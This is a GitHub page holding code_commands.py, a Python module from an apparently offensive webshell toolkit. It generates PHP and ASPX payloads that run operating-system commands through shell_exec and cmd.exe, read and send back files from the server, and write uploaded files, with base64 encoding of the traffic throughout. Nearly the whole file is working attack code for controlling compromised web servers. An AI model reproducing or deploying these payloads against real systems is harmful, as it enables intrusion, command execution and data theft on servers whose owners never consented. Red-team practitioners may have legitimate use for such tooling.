-
Notifications
You must be signed in to change notification settings - Fork 35
Expand file tree
/
Copy pathcode_commands.py
More file actions
178 lines (142 loc) · 8.97 KB
/
code_commands.py
File metadata and controls
178 lines (142 loc) · 8.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
## Title: code_commands.py
## Author: Joe Vest
## Description: Webshell code and commands references
import base64
def remote_command(language, cmd_type, mode, rsp_header, rsp_footer, command):
"""
language Webshell language
cmd_type Command type
mode Traffic Encoding type (clear, base64_post, base64_server)
command Command to execute
Valid Command Types
-------------------
OS OS command to execute
CODE Arbitray code to execute
"""
language = language.lower()
code = ''
########################
# PHP - Start
########################
if (language == "php"):
########################
# OS command
if (cmd_type == "OS"):
# Apply MODE Encoding for Result generated by code
# Include Header and Footer wrappers in the output
# Note: all OS commands should be wrapped in Base64 to help eliminate weird escaping issues
if mode == "clear":
code = """echo("{}" . shell_exec(base64_decode('{}'). " 2>&1") . "{}");""".format(rsp_header,base64.b64encode(command),rsp_footer)
if mode == "base64_post":
code = """echo("{}" . base64_encode(shell_exec(base64_decode('{}') . " 2>&1")) . "{}");""".format(rsp_header,base64.b64encode(command),rsp_footer)
if mode == "base64_header":
code = """echo("{}" . base64_encode(shell_exec(base64_decode('{}') . " 2>&1")) . "{}");""".format(rsp_header,base64.b64encode(command),rsp_footer)
elif (cmd_type == "DOWNLOAD"):
if mode == "clear":
code = """if (file_exists("{}")) {{
$contents = file_get_contents("{}");
$result = $contents;
echo("{}" . $result . "{}");
die;
}}""".format(command,command,rsp_header,rsp_footer)
if mode == "base64_post":
code = """if (file_exists("{}")) {{
$contents = file_get_contents("{}");
$result = base64_encode($contents);
echo("{}" . $result . "{}");
die;
}}""".format(command,command,rsp_header,rsp_footer)
if mode == "base64_header":
code = """if (file_exists("{}")) {{
$contents = file_get_contents("{}");
$result = base64_encode($contents);
echo("{}" . $result . "{}");
die;
}}""".format(command,command,rsp_header,rsp_footer)
elif (cmd_type == "UPLOAD"):
src = command[0]
dst = command[1]
if mode == "clear":
code = """
$a = file_put_contents("{}", "{}");
if ($a == "") {{
$result = "\tUpload Failed";
}} else {{
$result = "\tUpload Complete";
}}
echo("{}" . $result . "{}");
die;
""".format(dst,src,rsp_header,rsp_footer)
if mode == "base64_post":
src = base64.b64encode(src)
dst = base64.b64encode(dst)
code = """
$a = file_put_contents(base64_decode("{}"), base64_decode("{}"));
if ($a == "") {{
$result = base64_encode("\tUpload Failed");
}} else {{
$result = base64_encode("\tUpload Complete");
}}
echo("{}" . $result . "{}");
die;
""".format(dst,src,rsp_header,rsp_footer)
if mode == "base64_header":
src = base64.b64encode(src)
dst = base64.b64encode(dst)
code = """
$a = file_put_contents(base64_decode("{}"), base64_decode("{}"));
if ($a == "") {{
$result = base64_encode("\tUpload Failed");
}} else {{
$result = base64_encode("\tUpload Complete");
}}
echo("{}" . $result . "{}");
die;
""".format(dst,src,rsp_header,rsp_footer)
########################
# Arbitray PHP code
elif (cmd_type == "CODE"):
if mode == "clear":
code = 'echo(' + '"' + rsp_header + '"' + ' . ' + '"Command sent". ' + '"' + rsp_footer + '"' + ');'
if mode == "base64_post":
code = 'echo(' + '"' + rsp_header + '"' + ' . ' + 'base64_encode("Command sent"). ' + '"' + rsp_footer + '"' + ');'
########################
# PHP - End
########################
########################
# ASPX - Start
########################
elif(language == "aspx"):
########################
# OS command
if (cmd_type == "OS"):
# Apply MODE Encoding for Result generated by code
# Include Header and Footer wrappers in the output
# Note: all OS commands should be wrapped in Base64 to help eliminate weird escaping issues
if mode == "clear":
code = """var command=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("{}")); var c=new System.Diagnostics.ProcessStartInfo("cmd.exe");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+command;e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write("{}"+out.ReadToEnd()+EI.ReadToEnd()+"{}");""".format(base64.b64encode(command),rsp_header,rsp_footer)
if mode == "base64_post":
code = """var command=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("{}")); var c=new System.Diagnostics.ProcessStartInfo("cmd.exe");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+command;e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write("{}"+Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(out.ReadToEnd()+EI.ReadToEnd()))+"{}");""".format(base64.b64encode(command),rsp_header,rsp_footer)
if mode == "base64_header":
code = """var command=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("{}")); var c=new System.Diagnostics.ProcessStartInfo("cmd.exe");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+command;e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write("{}"+Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(out.ReadToEnd()+EI.ReadToEnd()))+"{}");""".format(base64.b64encode(command),rsp_header,rsp_footer)
elif (cmd_type == "DOWNLOAD"):
if mode == "clear":
code = """var f=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("{}"));if (System.IO.File.Exists(f)){{var buff=System.IO.File.ReadAllBytes(f);Response.Write("{}");Response.BinaryWrite(buff);Response.Write("{}");}}""".format(base64.b64encode(command),rsp_header,rsp_footer)
if mode == "base64_post":
code = """var f=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("{}"));if (System.IO.File.Exists(f)){{var buff=System.IO.File.ReadAllBytes(f);var s = Convert.ToBase64String(buff);Response.Write("{}");Response.Write(s);Response.Write("{}");}}""".format(base64.b64encode(command),rsp_header,rsp_footer)
if mode == "base64_header":
code = """var f=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("{}"));if (System.IO.File.Exists(f)){{var buff=System.IO.File.ReadAllBytes(f);var s = Convert.ToBase64String(buff);Response.Write("{}");Response.Write(s);Response.Write("{}");}}""".format(base64.b64encode(command),rsp_header,rsp_footer)
########################
# ASPX - End
########################
########################
# ENCODE/DECODE HTTP Request
# If updates made, modify HTTP Request (sendcommands(...)) as well
# Apply MODE (HTTP Request) to Encode prior to sending sequest
if mode == "clear":
code = code
if mode == "base64_post":
code = base64.b64encode(code)
if mode == "base64_header":
code = base64.b64encode(code)
return code